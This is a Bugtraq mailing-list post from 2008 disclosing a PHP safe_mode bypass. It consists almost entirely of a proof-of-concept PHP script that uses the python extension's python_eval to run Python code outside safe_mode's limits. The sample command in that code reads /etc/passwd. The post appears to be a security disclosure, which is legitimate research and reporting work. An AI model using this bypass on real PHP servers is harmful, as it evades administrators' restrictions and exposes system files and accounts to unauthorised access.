bugtraq - php python extension safe

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Message-Id: <200812180152.mBI1ql8D008674@www5.securityfocus.com>
Date: Wed, 17 Dec 2008 18:52:47 -0700
From: amir@...mani.ir
To: bugtraq@...urityfocus.com
Subject: php python extension safe_mode bypass

<?php
/*
  php_python_bypass.php
  php python extension safe_mode bypass
  Amir Salmani - amir[at]salmani[dot]ir
*/

//python ext. installed?
if (!extension_loaded('python')) die("python extension is not installed\n");

//eval python code
$res = python_eval('
import os
pwd = os.getcwd()
print pwd
os.system('cat /etc/passwd')
');

//show result
echo $res;
?>